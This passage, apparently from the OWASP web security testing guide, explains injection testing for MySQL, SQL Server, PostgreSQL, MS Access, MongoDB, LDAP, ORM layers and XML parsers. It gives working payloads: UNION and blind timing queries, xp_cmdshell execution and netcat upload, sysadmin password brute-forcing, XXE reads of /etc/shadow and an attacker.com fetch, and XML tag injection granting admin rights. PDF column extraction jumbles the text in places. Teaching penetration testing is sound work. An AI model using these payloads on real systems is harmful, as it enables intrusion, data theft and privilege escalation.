1 AND 1=0 UNION SELECT DATABASE()
There are three ways to gain this information:
There is some difference between 1 and 2. The main one is that TRIGGERS Triggers (needs INSERT_priv)
an anonymous user could connect (if allowed) with any name, but
the MySQL internal user is an empty name (‘’). Another difference USER_PRIVILEGES Privileges connected User has
is that a stored procedure or a stored function are executed as
the creator user, if not declared elsewhere. This can be known by
using CURRENT_USER. All of this information could be extracted by using known tech-
niques as described in SQL Injection section.
In band injection:
Attack vectors
1 AND 1=0 UNION SELECT USER() Write in a File
If the connected user has FILE privileges and single quotes are not
Inferential injection: escaped, the ‘into outfile’ clause can be used to export query re-
sults in a file.
1 AND USER() like ‘root%’
Select * from table into outfile ‘/tmp/file’
Result Expected:
A string like this:
Note: there is no way to bypass single quotes surrounding a file-
user@hostname name. So if there’s some sanitization on single quotes like escape
(\’) there will be no way to use the ‘into outfile’ clause.
121
BENCHMARK(#ofcycles,action_to_be_performed )
This kind of attack could be used as an out-of-band technique The benchmark function could be used to perform timing
to gain information about the results of a query or to write a file attacks, when blind injection by boolean values does not yield
which could be executed inside the web server directory. any results.
See. SLEEP() (MySQL > 5.0.x) for an alternative on benchmark.
Example:
For a complete list, refer to the MySQL manual at http://dev.mysql.
com/doc/refman/5.0/en/functions.html
1 limit 1 into outfile ‘/var/www/root/test.jsp’ FIELDS
ENCLOSED BY ‘//’ LINES TERMINATED BY ‘\n<%jsp code
here%>’;
Tools
• Francois Larouche: Multiple DBMS SQL Injection tool -
http://www.sqlpowerinjector.com/index.htm
Result Expected: • ilo--, Reversing.org - sqlbftools
Results are stored in a file with rw-rw-rw privileges owned by • Bernardo Damele A. G.: sqlmap, automatic SQL injection tool -
MySQL user and group. http://sqlmap.org/
• Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool -
Where /var/www/root/test.jsp will contain: http://code.google.com/p/mysqloit/
• http://sqlsus.sourceforge.net/
//field values//
<%jsp code here%> References
Whitepapers
• Chris Anley: “Hackproofing MySQL” -
Read from a File http://www.databasesecurity.com/mysql/HackproofingMySQL.
Load_file is a native function that can read a file when allowed by pdf
the file system permissions. If a connected user has FILE privileg-
es, it could be used to get the files’ content. Single quotes escape Case Studies
sanitization can by bypassed by using previously described tech- • Zeelock: Blind Injection in MySQL Databases -
niques. http://archive.cert.uni-stuttgart.de/bugtraq/2005/02/
msg00289.html
load_file(‘filename’)
Testing for SQL Server
Summary
Result Expected: In this section some SQL Injection techniques that utilize specific
The whole file will be available for exporting by using standard features of Microsoft SQL Server will be discussed.
techniques.
SQL injection vulnerabilities occur whenever input is used in the
Standard SQL Injection Attack construction of an SQL query without being adequately con-
In a standard SQL injection you can have results displayed direct- strained or sanitized. The use of dynamic SQL (the construction of
ly in a page as normal output or as a MySQL error. By using al- SQL queries by concatenation of strings) opens the door to these
ready mentioned SQL Injection attacks and the already described vulnerabilities. SQL injection allows an attacker to access the SQL
MySQL features, direct SQL injection could be easily accomplished servers and execute SQL code under the privileges of the user
at a level depth depending primarily on the MySQL version the used to connect to the database.
pentester is facing.
As explained in SQL injection, a SQL-injection exploit requires two
A good attack is to know the results by forcing a function/proce- things: an entry point and an exploit to enter. Any user-controlled
dureor the server itself to throw an error. A list of errors thrown parameter that gets processed by the application might be hiding
by MySQL and in particular native functions could be found on a vulnerability. This includes:
MySQL Manual.
• Application parameters in query strings (e.g., GET requests)
Out of band SQL Injection • Application parameters included as part of the body of a POST
Out of band injection could be accomplished by using the ‘into out- request
file’ clause. • Browser-related information (e.g., user-agent, referrer)
• Host-related information (e.g., host name, IP)
Blind SQL Injection • Session-related information (e.g., user ID, cookies)
For blind SQL injection, there is a set of useful function natively
provided by MySQL server. Microsoft SQL server has a few unique characteristics, so some
• String Length: exploits need to be specially customized for this application.
LENGTH(str)
• Extract a substring from a given string: How to Test
SUBSTRING(string, offset, #chars_returned) SQL Server Characteristics
• Time based Blind Injection: BENCHMARK and SLEEP To begin, let’s see some SQL Server operators and commands/
122
stored procedures that are useful in a SQL Injection test: CONVERT will try to convert the result of db_name (a string) into
an integer variable, triggering an error, which, if displayed by the
[1] comment operator: -- (useful for forcing the query to ignore vulnerable application, will contain the name of the DB.
the
remaining portion of the original query; this won’t be necessary The following example uses the environment variable @@version
in every case) , combined with a “union select”-style injection, in order to find the
[2] query separator: ; (semicolon) version of the SQL Server.
[3] Useful stored procedures include:
- [xp_cmdshell] executes any command shell in the server /form.asp?prop=33%20union%20select%20
with the same permissions that it is currently running. By 1,2006-01-06,2007-01-06,1,’stat’,’name1’,’na
default, only sysadmin is allowed to use it and in SQL Server me2’,2006-01-06,1,@@version%20--
2005 it is disabled by default (it can be enabled again using
sp_configure)
- xp_regread reads an arbitrary value from the Registry And here’s the same attack, but using again the conversion trick:
(undocumented extended procedure)
- xp_regwrite writes an arbitrary value into the Registry /form.asp?prop=33%20union%20select%20
(undocumented extended procedure) 1,2006-01-06,2007-01-06,1,’stat’,’name1’,’na
- [sp_makewebtask] Spawns a Windows command shell and me2’,2006-01-06,1,@@version%20--
passes in a string for execution. Any output is returned as rows
of text. It requires sysadmin privileges.
- [xp_sendmail] Sends an e-mail message, which may include Information gathering is useful for exploiting software vulnerabili-
a query result set attachment, to the specified recipients. ties at the SQL Server, through the exploitation of an SQL-injection
This extended stored procedure uses SQL Mail to send the attack or direct access to the SQL listener.
message.
In the following, we show several examples that exploit SQL injec-
Let’s see now some examples of specific SQL Server attacks that tion vulnerabilities through different entry points.
use the aforementioned functions. Most of these examples will
use the exec function. Example 1: Testing for SQL Injection in a GET request.
The most simple (and sometimes most rewarding) case would be
Below we show how to execute a shell command that writes the that of a login page requesting an user name and password for
output of the command dir c:\inetpub in a browseable file, as- user login. You can try entering the following string “’ or ‘1’=’1”
suming that the web server and the DB server reside on the same (without double quotes):
host. The following syntax uses xp_cmdshell:
https://vulnerable.web.app/login.asp?Username=’%20or%20
exec master.dbo.xp_cmdshell ‘dir c:\inetpub > c:\inetpub\ ’1’=’1&Password=’%20or%20’1’=’1
wwwroot\test.txt’--
If the application is using Dynamic SQL queries, and the string gets
Alternatively, we can use sp_makewebtask: appended to the user credentials validation query, this may result
in a successful login to the application.
exec sp_makewebtask ‘C:\Inetpub\wwwroot\test.txt’,
‘select * from master.dbo.sysobjects’-- Example 2: Testing for SQL Injection in a GET request
In order to learn how many columns exist
In addition, SQL Server built-in functions and environment vari- Example 3: Testing in a POST request
ables are very handy. The following uses the function db_name() SQL Injection, HTTP POST Content: email=%27&whichSubmit=-
to trigger an error that will return the name of the database: submit&submit.x=0&submit.y=0
Example 8: Upload of executables that there is a blind or out-of-band SQL injection vulnerability in
Once we can use xp_cmdshell (either the native one or a custom a the web application. He will then select an attack vector (e.g.,
one), we can easily upload executables on the target DB Server. a web entry), use fuzz vectors (1) against this channel and watch
A very common choice is netcat.exe, but any trojan will be useful the response. For example, if the web application is looking for a
here. If the target is allowed to start FTP connections to the tes- book using a query
ter’s machine, all that is needed is to inject the following queries:
At this point, nc.exe will be uploaded and available.
select * from books where title=text entered by the user
Other options for out of band attacks are described in Sample 4 declare @s varchar(8000)
above. declare @i int
select @s = db_name()
Blind SQL injection attacks select @i = [some value]
Trial and error if (select len(@s)) < @i waitfor delay ‘0:0:5’
Alternatively, one may play lucky. That is the attacker may assume
125
Measuring the response time and using different values for @i, we What we do here is to attempt a connection to the local database
can deduce the length of the name of the current database, and (specified by the empty field after ‘SQLOLEDB’) using “sa” and
then start to extract the name itself with the following query: “<pwd>” as credentials. If the password is correct and the connec-
tion is successful, the query is executed, making the DB wait for 5
if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 seconds (and also returning a value, since OPENROWSET expects
waitfor delay ‘0:0:5’ at least one column). Fetching the candidate passwords from a
wordlist and measuring the time needed for each connection, we
can attempt to guess the correct password. In “Data-mining with
This query will wait for 5 seconds if bit ‘@bit’ of byte ‘@byte’ of the SQL Injection and Inference”, David Litchfield pushes this tech-
name of the current database is 1, and will return at once if it is 0. nique even further, by injecting a piece of code in order to brute-
Nesting two cycles (one for @byte and one for @bit) we will we able force the sysadmin password using the CPU resources of the DB
to extract the whole piece of information. Server itself.
However, it might happen that the command waitfor is not available Once we have the sysadmin password, we have two choices:
(e.g., because it is filtered by an IPS/web application firewall). This
doesn’t mean that blind SQL injection attacks cannot be done, as • Inject all following queries using OPENROWSET, in order to use
the pen tester should only come up with any time consuming oper- sysadmin privileges
ation that is not filtered. For example • Add our current user to the sysadmin group using
sp_addsrvrolemember. The current user name can be extracted
declare @i int select @i = 0 using inferenced injection against the variable system_user.
while @i < 0xaffff begin
select @i = @i + 1 Remember that OPENROWSET is accessible to all users on SQL
end Server 2000 but it is restricted to administrative accounts on SQL
Server 2005.
Checking for version and vulnerabilities
The same timing approach can be used also to understand which Tools
version of SQL Server we are dealing with. Of course we will lever- • Francois Larouche: Multiple DBMS SQL Injection tool -
age the built-in @@version variable. Consider the following query: [SQL Power Injector]
• Northern Monkee: [Bobcat]
• icesurfer: SQL Server Takeover Tool - [sqlninja]
select @@version
• Bernardo Damele A. G.: sqlmap, automatic SQL injection
tool - http://sqlmap.org/
OnSQL Server 2005, it will return something like the following:
References
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 Whitepapers
2005 00:33:37 <snip> • David Litchfield: “Data-mining with SQL Injection and Inference”
- http://www.databasesecurity.com/webapps/sqlinference.pdf
• Chris Anley, “(more) Advanced SQL Injection” -
The ‘2005’ part of the string spans from the 22nd to the 25th char- http://www.encription.co.uk/downloads/more_advanced_sql_
acter. Therefore, one query to inject can be the following: injection.pdf
• Steve Friedl’s Unixwiz.net Tech Tips: “SQL Injection Attacks by
Example” - http://www.unixwiz.net/techtips/sql-injection.html
if substring((select @@version),25,1) = 5 waitfor delay
• Alexander Chigrik: “Useful undocumented extended stored
‘0:0:5’
procedures” - http://www.mssqlcity.com/Articles/Undoc/
UndocExtSP.htm
Such query will wait 5 seconds if the 25th character of the @@ver- • Antonin Foller: “Custom xp_cmdshell, using shell object” -
sion variable is ‘5’, showing us that we are dealing with a SQL Serv- http://www.motobit.com/tips/detpg_cmdshell
er 2005. If the query returns immediately, we are probably dealing • Paul Litwin: “Stop SQL Injection Attacks Before They Stop You” -
with SQL Server 2000, and another similar query will help to clear http://msdn.microsoft.com/en-us/magazine/cc163917.aspx
all doubts. • SQL Injection - http://msdn2.microsoft.com/en-us/library/
ms161953.aspx
Example 9: bruteforce of sysadmin password • Cesar Cerrudo: Manipulating Microsoft SQL Server Using
To bruteforce the sysadmin password, we can leverage the fact that SQL Injection - http://www.appsecinc.com/presentations/
OPENROWSET needs proper credentials to successfully perform Manipulating_SQL_Server_Using_SQL_Injection.pdf uploading
the connection and that such a connection can be also “looped” to files, getting into internal network, port scanning, DOS
the local DB Server. Combining these features with an inferenced in-
jection based on response timing, we can inject the following code: OWASP Backend Security Project Testing
PostgreSQL
select * from OPENROWSET(‘SQLOLEDB’,’’;’sa’;’<pwd>’,’select Summary
1;waitfor delay ‘’0:0:5’’ ‘) In this section, some SQL Injection techniques for PostgreSQL will
be discussed. These techniques have the following characteristics:
126
COPY: stdout?
This operator copies data between a file and a table. The Post- Here’s a little trick:
greSQL engine accesses the local file system as the postgres user. [1] create a stdout table
• CREATE TABLE stdout(id serial, system_out text)
Example
[2] executing a shell command redirecting its stdout
• SELECT system(‘uname -a > /tmp/test’)
/store.php?id=1; CREATE TABLE file_store(id serial, data
text)--
[3] use a COPY statements to push output of previous command
/store.php?id=1; COPY file_store(data) FROM ‘/var/lib/post-
in stdout table
gresql/.psql_history’--
• COPY stdout(system_out) FROM ‘/tmp/test’
Data should be retrieved by performing a UNION Query SQL In- [4] retrieve output from stdout
jection: • SELECT system_out FROM stdout
Since system returns an int how we can fetch results from system [2] Run an OS Command:
128
The LIMIT operator is not implemented in MS Access, however it the following query:
is possible to limit the number of results by using the TOP or LAST
operators instead. ‘ UNION SELECT Name FROM MSysObjects WHERE Type =
1%00
http://www.example.com/page.app?id=2’+UNION+SE-
LECT+TOP+3+name+FROM+appsTable%00
Alternatively, it is always possible to bruteforce the database schema
by using a standard wordlist (e.g. FuzzDb).
By combining both operators, it is possible to select specific re-
sults. String concatenation is possible by using & (%26) and + (%2b) In some cases, developers or system administrators do not realize
characters. that including the actual .mdb file within the application webroot can
allow to download the entire database. Database filenames can be in-
There are also many other functions that can be used while test- ferred with the following query:
ing SQL injection, including but not limited to:
http://www.example.com/page.app?id=1’+UNION+SE-
• ASC: Obtain the ASCII value of a character passed as input LECT+1+FROM+name.table%00
• CHR: Obtain the character of the ASCII value passed as input
• LEN: Return the length of the string passed as parameter
• IIF: Is the IF construct, for example the following statement where name is the .mdb filename and table is a valid database table. In
IIF(1=1, ‘a’, ‘b’) return ‘a’ case of password protected databases, multiple software utilities can
• MID: This function allows you to extract substring, for example be used to crack the password. Please refer to the references.
the following statement mid(‘abc’,1,1) return ‘a’
• TOP: This function allows you to specify the maximum number Blind SQL Injection Testing
of results that the query should return from the top. For example Blind SQL Injection vulnerabilities are by no means the most easily ex-
TOP 1 will return only 1 row. ploitable SQL injections while testing real-life applications. In case of
• LAST: This function is used to select only the last row of a set of recent versions of MS Access, it is also not feasible to execute shell
rows. For example the following query SELECT last(*) FROM us- commands or read/write arbitrary files.
ers will return only the last row of the result.
In case of blind SQL injections, the attacker can only infer the result of
Some of these operators are essential to exploit blind SQL injections. the query by evaluating time differences or application responses. It is
For other advanced operators, please refer to the documents in the supposed that the reader already knows the theory behind blind SQL
references. injection attacks, as the remaining part of this section will focus on MS
Access specific details.
Attributes Enumeration
In order to enumerate the column of a database table, it is possible The following example is used:
to use a common error-based technique. In short, we can obtain the
attributes name by analyzing error messages and repeating the que-
http://www.example.com/index.php?myId=[sql]
ry with different selectors. For example, assuming that we know the
existence of a column, we can also obtain the name of the remaining
attributes with the following query: where the id parameter is used within the following query:
In the error message received, it is possible to observe the name of the Let’s consider the myId parameter vulnerable to blind SQL injection.
next column. At this point, we can iterate the method until we obtain As an attacker, we want to extract the content of column ‘username’
the name of all attributes. If we don’t know the name of the first attri- in the table ‘users’, assuming that we have already disclosed the da-
bute, we can still insert a fictitious column name and obtain the name tabase schema.
of the first attribute within the error message.
A typical query that can be used to infer the first character of the user-
Obtaining Database Schema name of the 10th rows is:
Various system tables exist by default in MS Access that can be poten-
tially used to obtain table names and columns. Unfortunately, in the http://www.example.com/index.php?id=IIF((select%20
default configuration of recent MS Access database releases, these MID(LAST(username),1,1)%20from%20(select%20TOP%20
tables are not accessible. Nevertheless, it is always worth trying: 10%20username%20from%20users))=’a’,0,’no’)
• MSysObjects
• MSysACEs If the first character is ‘a’, the query will return 0 or otherwise the string
• MSysAccessXML ‘no’.
For example, if a union SQL injection vulnerability exists, you can use By using a combination of the IFF, MID, LAST and TOP functions, it is
130
possible to extract the first character of the username on a specifically than traditional SQL injection.
selected row. As the inner query returns a set of records, and not just
one, it is not possible to use it directly. Fortunately, we can combine NoSQL database calls are written in the application’s program-
multiple functions to extract a specific string. ming language, a custom API call, or formatted according to a
common convention (such as XML, JSON, LINQ, etc). Malicious
Let’s assume that we want to retrieve the username of the 10th row. input targeting those specifications may not trigger the primarily
First, we can use the TOP function to select the first ten rows using application sanitization checks. For example, filtering out common
the following query: HTML special characters such as < > & ; will not prevent attacks
against a JSON API, where special characters include / { } : .
SELECT TOP 10 username FROM users
There are now over 150 NoSQL databases available[3] for use
within an application, providing APIs in a variety of languages and
Then, using this subset, we can extract the last row by using the relationship models. Each offers different features and restric-
LAST function. Once we have only one row and exactly the row tions. Because there is not a common language between them,
containing our string, we can use the IFF, MID and LAST functions example injection code will not apply across all NoSQL databases.
to infer the actual value of the username. In our example, we em- For this reason, anyone testing for NoSQL injection attacks will
ploy IFF to return a number or a string. Using this trick, we can need to familiarize themselves with the syntax, data model, and
distinguish whether we have a true response or not, by observing underlying programming language in order to craft specific tests.
application error responses. As id is numeric, the comparison with
a string results in a SQL error that can be potentially leaked by 500 NoSQL injection attacks may execute in different areas of an ap-
Internal Server Error pages. Otherwise, a standard 200 OK page plication than traditional SQL injection. Where SQL injection would
will be likely returned. execute within the database engine, NoSQL variants may execute
For example, we can have the following query: during within the application layer or the database layer, depend-
ing on the NoSQL API used and data model. Typically NoSQL injec-
http://www.example.com/index.php?id=’%20AND%20 tion attacks will execute where the attack string is parsed, evalu-
1=0%20OR%20’a’=IIF((select%20MID(LAST(user- ated, or concatenated into a NoSQL API call.
name),1,1)%20from%20(select%20TOP%2010%20user-
name%20from%20users))=’a’,’a’,’b’)%00 Additional timing attacks may be relevant to the lack of concur-
rency checks within a NoSQL database. These are not covered un-
der injection testing. At the time of writing MongoDB is the most
that is TRUE if the first character is ‘a’ or false otherwise. widely used NoSQL database, and so all examples will feature
MongoDB APIs.
As mentioned, this method allows to infer the value of arbitrary
strings within the database: How to Test
Testing for NoSQL injection vulnerabilities in MongoDB:
[1] By trying all printable values, until we find a match The MongoDB API expects BSON (Binary JSON) calls, and includes
[2] By inferring the length of the string using the LEN function, a secure BSON query assembly tool. However, according to Mon-
or by simply stopping after we have found all characters goDB documentation - unserialized JSON and JavaScript expres-
sions are permitted in several alternative query parameters.[4]
Time-based blind SQL injections are also possible by abusing The most commonly used API call allowing arbitrary JavaScript
heavy queries. input is the $where operator.
directly into the MongoDB query without sanitization. One way to potentially assign data to PHP variables is via HTTP
Parameter Pollution (see: Testing_for_HTTP_Parameter_pollu-
b.myCollection.find( { active: true, $where: function() { return tion_(OTG-INPVAL-004)). By creating a variable named $where
obj.credits - obj.debits < $userInput; } } );; via parameter pollution, one could trigger a MongoDB error indi-
cating that the query is no longer valid.
Any value of $where other than the string “$where” itself, should
As with testing other types of injection, one does not need to ful- suffice to demonstrate vulnerability. An attacker would develop a
ly exploit the vulnerability to demonstrate a problem. By injecting full exploit by inserting the following: “$where: function() { //arbi-
special characters relevant to the target API language, and ob- trary JavaScript here }”
serving the results, a tester can determine if the application cor-
rectly sanitized the input. For example within MongoDB, if a string References
containing any of the following special characters were passed Whitepapers
unsanitized, it would trigger a database error. • Bryan Sullivan from Adobe: “Server-Side JavaScript Injection”
- https://media.blackhat.com/bh-us-11/Sullivan/BH_US_11_
‘“\;{} Sullivan_Server_Side_WP.pdf
• Bryan Sullivan from Adobe: “NoSQL, But Even Less Security”
With normal SQL injection, a similar vulnerability would allow an - http://blogs.adobe.com/asset/files/2011/04/NoSQL-But-
attacker to execute arbitrary SQL commands - exposing or manip- Even-Less-Security.pdf
ulating data at will. However, because JavaScript is a fully featured • Erlend from Bekk Consulting: “[Security] NOSQL-injection” -
language, not only does this allow an attacker to manipulate data, http://erlend.oftedal.no/blog/?blogid=110
but also to run arbitrary code. For example, instead of just causing • Felipe Aragon from Syhunt: “NoSQL/SSJS Injection” -
an error when testing, a full exploit would use the special charac- http://www.syhunt.com/?n=Articles.NoSQLInjection
ters to craft valid JavaScript. • MongoDB Documentation: “How does MongoDB address
SQL or Query injection?” - http://docs.mongodb.org/manual/
This input 0;var date=new Date(); do{curDate = new Date();} faq/developers/#how-does-mongodb-address-sql-or-query-
while(curDate-date<10000) inserted into $userInput in the above injection
example code would result in the following JavaScript function • PHP Documentation: “MongoCollection::find” -
being executed. This specific attack string would case the entire http://php.net/manual/en/mongocollection.find.php
MongoDB instance to execute at 100% CPU usage for 10 second. • “Hacking NodeJS and MongoDB” -
http://blog.websecurify.com/2014/08/hacking-nodejs-and-
function() { return obj.credits - obj.debits < 0;var mongodb.html
date=new Date(); do{curDate = new Date();}while(cur- • “Attacking NodeJS and MongoDB” - http://blog.websecurify.
Date-date<10000); } com/2014/08/attacks-nodejs-and-mongodb-part-to.html
Please make sure that for all special query operators (start- [Rfc2254] defines a grammar on how to build a search filter on
ing with $) you use single quotes so that PHP doesn’t try to LDAPv3 and extends [Rfc1960] (LDAPv2).
replace “$exists” with the value of the variable $exists.
An LDAP search filter is constructed in Polish notation, also known
Even if a query depended on no user input, such as the following as [prefix notation].
example, an attacker could exploit MongoDB by replacing the op-
erator with malicious data. This means that a pseudo code condition on a search filter like
this:
db.myCollection.find( { $where: function() { return obj.credits
- obj.debits < 0; } } ); find(“cn=John & userPassword=mypass”)
132
searchfilter=”(cn=*)”
find(“(&(cn=John)(userPassword=mypass))”)
~= Approx Let’s suppose a web application uses a filter to match LDAP user/
password pair.
>= Greater than
searchlogin= “(&(uid=”+user+”)(userPassword={M-
D5}”+base64(pack(“H*”,md5(pass)))+”))”;
<= Less than
By using the following values:
* Any character user=*)(uid=*))(|(uid=*
pass=password
() Grouping parenthesis
the search filter will results in:
tester, this attack is virtually identical to a SQL Injection attack. • OWASP Interpreter Injection
However, the injection vulnerability exists in code generated by
the ORM tool. Testing for XML Injection (OTG-INPVAL-008)
An ORM is an Object Relational Mapping tool. Summary
It is used to expedite object oriented development within the data XML Injection testing is when a tester tries to inject an XML doc
access layer of software applications, including web applications. to the application. If the XML parser fails to contextually validate
The benefits of using an ORM tool include quick generation of an data, then the test will yield a positive result.
object layer to communicate to a relational database, standard-
ized code templates for these objects, and usually a set of safe This section describes practical examples of XML Injection. First,
functions to protect against SQL Injection attacks. an XML style communication will be defined and its working prin-
ORM generated objects can use SQL or in some cases, a variant of ciples explained. Then, the discovery method in which we try to
SQL, to perform CRUD (Create, Read, Update, Delete) operations insert XML metacharacters. Once the first step is accomplished,
on a database. It is possible, however, for a web application using the tester will have some information about the XML structure, so
ORM generated objects to be vulnerable to SQL Injection attacks if it will be possible to try to inject XML data and tags (Tag Injection).
methods can accept unsanitized input parameters.
How to Test
ORM tools include Hibernate for Java, NHibernate for .NET, Acti- Let’s suppose there is a web application using an XML style com-
veRecord for Ruby on Rails, EZPDO for PHP and many others. For munication in order to perform user registration. This is done by
a reasonably comprehensive list of ORM tools, see http://en.wiki- creating and adding a new <user> node in an xmlDb file.
pedia.org/wiki/List_of_object-relational_mapping_software
Let’s suppose the xmlDB file is like the following:
How to Test
Black Box testing
Blackbox testing for ORM Injection vulnerabilities is identical to <?xml version=”1.0” encoding=”ISO-8859-1”?>
SQL Injection testing (see Testing for SQL Injection). In most cases, <users>
the vulnerability in the ORM layer is a result of customized code <user>
that does not properly validate input parameters. <username>gandalf</username>
Most ORM tools provide safe functions to escape user input. <password>!c3</password>
However, if these functions are not used, and the developer uses <userid>0</userid>
custom functions that accept user input, it may be possible to ex- <mail>[email protected]</mail>
ecute a SQL injection attack. </user>
<user>
Gray Box testing <username>Stefan0</username>
If a tester has access to the source code for a web application, or <password>w1s3c</password>
can discover vulnerabilities of an ORM tool and tests web applica- <userid>500</userid>
tions that use this tool, there is a higher probability of successfully <mail>[email protected]</mail>
attacking the application. </user>
</users>
Patterns to look for in code include:
When a user registers himself by filling an HTML form, the applica-
• Input parameters concatenated with SQL strings. This code that tion receives the user’s data in a standard request, which, for the
uses ActiveRecord for Ruby on Rails is vulnerable (though any sake of simplicity, will be supposed to be sent as a GET request.
ORM can be vulnerable)
For example, the following values:
Orders.find_all “customer_id = 123 AND order_date = ‘#{@
params[‘order_date’]}’” Username: tony
Password: Un6R34kb!e
E-mail: [email protected]
Simply sending “’ OR 1--” in the form where order date can be
entered can yield positive results.
will produce the request:
Tools
• Hibernate http://www.hibernate.org http://www.example.com/addUser.php?username=tony&-
• NHibernate http://nhforge.org/ password=Un6R34kb!e&[email protected]
References
Whitepapers The application, then, builds the following node:
• References from Testing for SQL Injection are applicable to ORM
Injection <user>
• Wikipedia - ORM http://en.wikipedia.org/wiki/Object-relation <username>tony</username>
al_mapping
134
double quotes.
<password>Un6R34kb!e</password>
<userid>500</userid> <node attrib=”$inputValue”/>
<mail>[email protected]</mail>
</user> So if:
Discovery but, because of the presence of the open ‘<’, the resulting XML
The first step in order to test an application for the presence document is invalid.
of a XML Injection vulnerability consists of trying to insert XML
metacharacters. • Comment tag: <!--/--> - This sequence of characters is inter-
preted as the beginning/end of a comment. So by injecting one of
XML metacharacters are: them in Username parameter:
• Single quote: ‘ - When not sanitized, this character could throw Username = foo<!--
an exception during XML parsing, if the injected value is going to
be part of an attribute value in a tag.
the application will build a node like the following:
As an example, let’s suppose there is the following attribute
<user>
<node attrib=’$inputValue’/> <username>foo<!--</username>
<password>Un6R34kb!e</password>
So, if: <userid>500</userid>
<mail>[email protected]</mail>
</user>
inputValue = foo’
which won’t be a valid XML sequence.
is instantiated and then is inserted as the attrib value:
• Ampersand: & - The ampersand is used in the XML syntax to
represent entities. The format of an entity is ‘&symbol;’. An entity
<node attrib=’foo’’/> is mapped to a character in the Unicode character set.
then, the resulting XML document is not well formed. For example:
• Double quote: “ - this character has the same meaning as sin- <tagnode><</tagnode>
gle quote and it could be used if the attribute value is enclosed in
135
is well formed and valid, and represents the ‘<’ ASCII character. Let’s consider a concrete example. Suppose we have a node con-
taining some text that will be displayed back to the user.
If ‘&’ is not encoded itself with &, it could be used to test XML
injection. <html>
$HTMLCode
In fact, if an input like the following is provided: </html>
Username = &foo
Then, an attacker can provide the following input:
• CDATA section delimiters: <![CDATA[ / ]]> - CDATA sections are During the processing, the CDATA section delimiters are eliminat-
used to escape blocks of text containing characters which would ed, generating the following HTML code:
otherwise be recognized as markup. In other words, characters
enclosed in a CDATA section are not parsed by an XML parser.
<script>alert(‘XSS’)</script>
For example, if there is the need to represent the string ‘<foo>’
inside a text node, a CDATA section may be used:
The result is that the application is vulnerable to XSS.
<node>
<![CDATA[<foo>]]> External Entity:
</node> The set of valid entities can be extended by defining new entities.
If the definition of an entity is a URI, the entity is called an external
entity. Unless configured to do otherwise, external entities force
so that ‘<foo>’ won’t be parsed as markup and will be considered the XML parser to access the resource specified by the URI, e.g.,
as character data. a file on the local machine or on a remote systems. This behav-
ior exposes the application to XML eXternal Entity (XXE) attacks,
If a node is built in the following way: which can be used to perform denial of service of the local system,
gain unauthorized access to files on the local machine, scan re-
<username><![CDATA[<$userName]]></username> mote machines, and perform denial of service of remote systems.
To test for XXE vulnerabilities, one can use the following input:
the tester could try to inject the end CDATA string ‘]]>’ in order to
try to invalidate the XML document. <?xml version=”1.0” encoding=”ISO-8859-1”?>
<!DOCTYPE foo [
userName = ]]> <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM “file:///dev/random” >]><foo>&xxe;</
foo>
this will become:
<username><![CDATA[]]>]]></username> This test could crash the web server (on a UNIX system), if the
XML parser attempts to substitute the entity with the contents of
the /dev/random file.
which is not a valid XML fragment.
Other useful tests are the following:
Another test is related to CDATA tag. Suppose that the XML doc-
ument is processed to generate an HTML page. In this case, the <?xml version=”1.0” encoding=”ISO-8859-1”?>
CDATA section delimiters may be simply eliminated, without fur- <!DOCTYPE foo [
ther inspecting their contents. Then, it is possible to inject HTML <!ELEMENT foo ANY >
tags, which will be included in the generated page, completely by- <!ENTITY xxe SYSTEM “file:///etc/passwd” >]><foo>&xxe;</
passing existing sanitization routines.
136
The resulting XML file is well formed. Furthermore, it is likely that, for
foo> the user tony, the value associated with the userid tag is the one ap-
pearing last, i.e., 0 (the admin ID). In other words, we have injected a
<?xml version=”1.0” encoding=”ISO-8859-1”?> user with administrative privileges.
<!DOCTYPE foo [ The only problem is that the userid tag appears twice in the last user
<!ELEMENT foo ANY > node. Often, XML documents are associated with a schema or a DTD
<!ENTITY xxe SYSTEM “file:///etc/shadow” >]><foo>&xxe;</ and will be rejected if they don’t comply with it.
foo>
Let’s suppose that the XML document is specified by the following
<?xml version=”1.0” encoding=”ISO-8859-1”?> DTD:
<!DOCTYPE foo [
<!ELEMENT foo ANY > <!DOCTYPE users [
<!ENTITY xxe SYSTEM “file:///c:/boot.ini” >]><foo>&xxe;</foo> <!ELEMENT users (user+) >
<!ELEMENT user (username,password,userid,-
<?xml version=”1.0” encoding=”ISO-8859-1”?> mail+) >
<!DOCTYPE foo [ <!ELEMENT username (#PCDATA) >
<!ELEMENT foo ANY > <!ELEMENT password (#PCDATA) >
<!ENTITY xxe SYSTEM “http://www.attacker.com/text.txt” <!ELEMENT userid (#PCDATA) >
>]><foo>&xxe;</foo> <!ELEMENT mail (#PCDATA) >
]>
Tag Injection
Once the first step is accomplished, the tester will have some infor- Note that the userid node is defined with cardinality 1. In this case, the
mation about the structure of the XML document. Then, it is possible attack we have shown before (and other simple attacks) will not work,
to try to inject XML data and tags. We will show an example of how if the XML document is validated against its DTD before any process-
this can lead to a privilege escalation attack. ing occurs.
Let’s considering the previous application. By inserting the following However, this problem can be solved, if the tester controls the value of
values: some nodes preceding the offending node (userid, in this example). In
fact, the tester can comment out such node, by injecting a comment
Username: tony start/end sequence:
Password: Un6R34kb!e
E-mail: [email protected]</mail><userid>0</userid><- Username: tony
mail>[email protected] Password: Un6R34kb!e</password><!--
E-mail: --><userid>0</userid><mail>[email protected]
